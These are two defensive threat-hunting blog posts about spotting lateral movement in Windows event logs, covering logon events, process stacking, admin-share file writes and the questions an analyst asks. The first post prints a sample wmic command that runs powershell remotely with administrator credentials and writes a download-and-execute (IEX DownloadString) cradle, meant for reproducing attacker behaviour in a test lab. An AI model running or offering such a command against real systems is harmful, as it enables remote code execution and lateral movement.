Wednesday, August 24, 2016

Hunting From The Top

A few years ago David Bianco produced the Pyramid of Pain as a way to measure the cost to an adversary as it relates to detecting different types of IOC’s.  I think this really is a great way to measure your detection if you look across all of your signatures and identify where they are on the pyramid.  If the majority are at the bottom it wouldn’t take much for an adversary to change a few simple things and you would completely lose sight of them.  The same can be said for hunting.  A few days ago I talked about the need to think about behaviors and the artifacts that those behaviors would create.  I think this is a very important concept and something that can help you begin to hunt from the top of the pyramid.

We know that during targeted attacks an adversary will typically need to move laterally in order to access the data they are after.  If we hypothesize about the different ways an adversary will move from machine to machine we can begin to build out some questions that we need to ask. To illustrate, lets say that we hypothesize that an adversary will take advantage of wmic and powershell to help facilitate lateral movement through our network.  These have been widely reported so it makes sense that we try and identify anomalous use of these tools.  When planning our strategy we first need to understand how these tools are being used so that we can mimic the behavior in a test environment.  

Consider the following command
wmic /node: /user:"pwned\administrator" /password:”abc123" process call create “powershell.exe -Command add-content -path ‘C:\bad.ps1' { IEX (New-Object Net.WebClient).DownloadString(‘' )}"

If I were to review the windows security event logs we would see that when the source executed the command it would generate a 4648 logon event with the source process of wmic.exe.  Following this I would probably want to see how prevalent this is in my environment.  Ask yourself and try and determine the following questions:
  1. Do admins typically execute wmic against remote machines?   
  2. What user accounts are typically seen in legitimate activity?
  3. When they authenticate, are they authenticating as the same user or are they authenticating as a different user to run the command.
  4. Did the source attempt to authenticate to a single machine or multiple machine with the same user account?
  5. What are the roles of these machines? 
  6. Can I tune out normal activity based on the answers to the above as well as recurring volume?

On the destination side I would see in the windows security event logs a 4624 type 3 login as well as a 4688 event where wmiprvse.exe is the parent process of powershell.exe. I would also see that when powershell downloaded bad.ps1 I would have seen an http GET request with no User-Agent string.  Some questions to ask may be:
  1. Does wmic normally spawn powershell in my environment?
  2. If this typically occurs, can I whitelist based off of known usernames and hostnames?
  3. For anomalies, what are the roles of the machines?
  4. What other processes are child processes of powershell where wmiprvse is the parent.
  5. How often is a .ps1 file fetched from the internet with no User-Agent?
  6. What are other files being downloaded with no User-Agent?

When reviewing the data it also helps to only include fields that are pertinent to what you are looking for.  It’s much easier to find anomalous activity when you have only relevant data in front of you.  Here are some ways that I find helpful when looking at 4648 events. 
  1. processes that were used to initiate a type 4648 logon.  Stack the process name by count and focus on low counts. 
  2. src user != dest user stack by count
  3. src user = src user stack by count
  4. src host and dest host stack by count 
  5. src user != dest user and  src host != dest host count by dest host
  6. src user != dest user and  src host != dest host sort by time
  7. time, src host, src user, dest host, dest user, anomalous process

To sum things up I think the following steps are important to building any new hunt.  Hypothesize, understand behavior, formulate questions, test data, build queries, automate collection and presentation of data.  As always, I would love to hear any questions or feedback. You can also find me on twitter @jackcr. 

Thursday, August 4, 2016

Hunting Lateral Movement

When I published my last blog post I was reading twitter and saw someone comment on how difficult it is to detect lateral movement.  While I agree with this, I think there are many things you can do with regards to hunting to help better find this.  Stepping back for a second and looking at the problem we can say that there are many different tools that can be used and many avenues that can be taken to facilitate someone moving through your internal network, but there are also common things that will happen.  Figuring out what the common things are will better help you devise a hunting strategy and hopefully make the time you devote to hunting more successful.  Looking specifically at lateral movement we can say the following will occur.
  1. Processes will be spawned
  2. Authentication will occur
We can also say that it may be probable that tools will be moved across the network to facilitate recon, privilege escalation, lateral movement, data packaging and exfiltration.

Using windows event logs I would like to describe some of the different ways you can take advantage of these common things and begin to look for lateral movement.  I also like to focus on servers as this is where you will often see this activity.

When an adversary executes tools that they brought in with them they probably won’t execute these hundreds of times a day across your environment, but as they move from machine to machine they may execute some or all of the tools on the host they just gained access to.  This will likely limit the number of times a day you will see these tools executed.  Using the windows event logs and focusing on event codes 4688/592, you can stack the output by process and look at rare in a 24 hour period. When analyzing this data ask yourself:
  1. Are there legitimate file names in odd directory paths?
  2. Are there file name misspellings of legitimate executables?
  3. Does the owner of the process seem correct?
  4. What is the role of the server that the process is executing on?
  5. Does the process name just look weird for some reason? (don’t discount hunches)
If you identify any suspicious processes can you prove that it’s legitimate or likely legitimate based on the file path, parent/child process or history of execution against a longer period of time? 

As an adversary moves from machine to machine they will often want to know things like: who they are, what level of access do they have, what services are running on the machine, what other machines are around them… They will often determine this by using legitimate windows binaries.  When determining this information they will typically do this in minutes vs hours regardless if they are using a script or typing the commands on a command line.  Knowing this, we can use it to our advantage.  Again focusing on windows event logs and focusing on event codes 4688/592 try to identify the following:
  1. Net.exe, ipconfig.exe, whoami.exe, nbtstat.exe...
  2. Cluster x number of processes executing within a 10 minute time frame.
For the data the get’s returned:
  1. identify the parent process and if it’s legitimate?
  2. What additional processes have executed on the machine within a 1 hour period and do any of those look suspicious?  If there are, are they owned by the same user?
  3. Are these spawned by the same process or process name?
  4. Are these processes all owned by the same user?
  5. Is there previous history of this activity?

Tool Movement
As an intruder moves tools around your network, or even executes tools from a remote machine, these will often be copied to an administrative share (ADMIN$, IPC$, C$).  If Windows Detailed File Share Auditing is enabled we can identify file writes to these shares. Note: This is not recommended for all server roles.  Read the documentation before enabling.  To view these logs use windows event code 5145 and stack based on file name.  When analyzing these logs it may help to identify the following:
  1. Number and names of files copied from same source.
  2. User that copied the files and past history.

When attackers are moving through your network they won’t be exploiting some vulnerability in every machine they gain access to and popping a shell, but rather will be using legitimate credentials to login to these machines.  We can start looking for malicious logon activity by focusing on windows event id’s 4624 type 3, 4625 type 3 and 4648.  Some things to look for when reviewing these logs are:
  1. Server to server communication.
  2. Same source to multiple destinations.
  3. Short session times for successful authentication.
  4. Failed authentication from same source to multiple destinations with multiple legitimate administrative accounts.

What I’ve described above are a few ways that you can look at windows event logs to try and identify those common things related to lateral movement.  This is in no way a complete list, but rather a way to get you thinking about different ideas that you can use to tackle this problem.  If you have other techniques that you use to devise a strategy I would love to hear them.  By sharing I believe we all get better.

Happy Hunting